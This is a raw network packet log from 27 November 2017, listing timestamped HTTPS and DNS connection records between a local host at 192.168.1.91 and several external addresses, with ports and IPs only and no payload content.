Nov 27, 2017 12:34:07.730226040 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.730338097 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.730354071 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.736300945 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.736321926 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.736507893 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.736525059 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.744291067 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.744455099 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.744473934 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.744793892 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.744812965 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.745002985 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.745021105 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.745031118 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.745107889 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.745125055 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.745690107 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.745707035 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.745807886 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.745810986 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.745825052 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.745837927 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.746368885 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.750897884 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.750916958 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.750936031 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.751137972 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.751375914 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.751391888 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.751401901 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.751596928 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.754746914 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.754765987 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.754784107 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.754858971 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.754911900 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.754930973 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.755453110 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.755469084 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.755675077 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.755700111 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.756220102 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.756236076 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.756362915 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.756391048 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.756520033 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.756536007 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.756875038 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.756896973 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.756911039 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.756920099 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.756932974 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.757191896 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.757206917 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.757280111 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.757292986 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.757302046 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.757302999 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.757328033 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.757793903 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.758022070 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.758116961 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.758132935 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.758217096 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.758233070 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.758685112 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.759581089 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.759615898 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.759654045 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.759680986 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.759696007 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.760215044 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.760229111 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.761275053 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.761859894 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.761876106 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.761892080 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.761902094 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.761910915 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.762007952 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.762023926 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.763998985 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.776283026 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.776302099 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.776316881 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.776397943 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.776665926 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.776681900 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.776695967 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.776766062 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.776830912 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.777535915 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.777554989 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.777657986 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.777673006 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.777859926 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.777878046 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.777961016 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.777981043 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.777990103 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.778070927 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.778086901 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.778575897 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.778593063 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.778707027 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.778795004 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.778810978 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.779253006 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.782133102 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.782150984 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.782248020 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.782264948 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.782320976 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.782335997 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.782592058 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.782605886 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.782823086 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.782928944 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.782942057 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.783118963 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.783135891 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.783338070 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.783353090 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.783373117 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.783387899 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.783864021 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.783915043 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.783929110 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.783936024 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.784373045 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.784389019 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.784475088 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.784487963 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.784863949 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.784879923 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.784946918 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.784959078 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.785269976 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.785285950 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.785352945 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.785367012 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.786168098 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.786185026 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.786194086 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.786396027 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.786411047 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.786411047 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.786427021 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.786499977 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.786535978 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.787560940 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.787579060 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.787590027 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.787903070 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.789103985 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.789861917 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.789879084 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.789891958 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.789999008 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.790018082 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.790215969 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.790231943 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.790338993 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.790353060 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.790359020 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.790493011 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.790518045 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.801712036 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.801738024 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.801923990 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.801950932 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.803205967 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.803224087 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.803347111 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.803369045 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.804493904 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.804522038 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.804697990 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.804723024 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.805270910 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.805289984 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.805413008 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.805433035 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.805588007 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.805607080 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.805691957 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.805706978 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.805715084 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.805782080 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.805799007 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.807950020 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.808512926 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.808598042 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.808618069 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.808727026 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.808763027 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.810626030 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.810642958 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.810652971 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.810775042 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.810805082 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.810930967 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.810959101 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.811048031 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.811063051 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.811072111 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.811461926 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.811487913 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.811717987 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.811736107 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.811949015 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.811975956 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.812764883 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.812784910 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.813117981 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.813124895 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.813133001 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.813141108 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.813153982 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.813246965 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.813983917 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.814001083 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.814074993 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.814090014 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.814181089 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.814217091 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.814393044 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.814651012 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.814666986 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.814776897 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.814802885 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.815665960 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.815684080 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.816493034 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.816515923 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.817715883 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.817733049 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.817815065 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.817826986 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.817831039 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.817837954 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.817852020 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.818073988 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.819408894 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.821014881 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.835520983 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.835541964 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.835566998 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.835796118 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.836102009 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.836123943 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.836148024 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.836246014 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.836417913 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.836433887 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.836443901 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.836638927 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.836800098 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.836831093 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.837219000 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.837234974 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.837245941 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.837255001 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.837790012 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.837822914 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.842767954 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.842808962 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.842823982 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.842956066 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.842967987 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.842971087 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.843003988 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.843316078 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.843332052 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.844971895 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.844985962 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.845124960 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.845144033 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.849555016 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.849575043 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.849711895 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.849728107 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:08.051620960 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:08.051749945 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:08.146440983 CET	62875	53	192.168.1.91	8.8.8.8
Nov 27, 2017 12:34:08.349307060 CET	53	62875	8.8.8.8	192.168.1.91
Nov 27, 2017 12:34:08.351941109 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:08.352015018 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:08.352174997 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:08.353698015 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:08.353746891 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.137828112 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.137868881 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.137882948 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.137998104 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:19.164030075 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.185837030 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:19.185877085 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.300522089 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.446480989 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:19.446510077 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.573539972 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.573574066 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.573579073 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.573858976 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:19.581948042 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.581994057 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.581999063 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.582277060 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:19.600739002 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.600775957 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.600781918 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.601093054 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:19.607810974 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.618130922 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.618172884 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.618424892 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:19.618454933 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.632288933 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.632323027 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.632328033 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.632694960 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:19.632735014 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.643150091 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.643188953 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.643486023 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:19.643516064 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.661287069 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.661325932 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.661334038 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.661628008 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:19.661659002 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.662609100 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.662625074 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.662800074 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:19.662828922 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.675354004 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.675374985 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.675510883 CET	49162	443	192.168.1.91	104.20.73.28
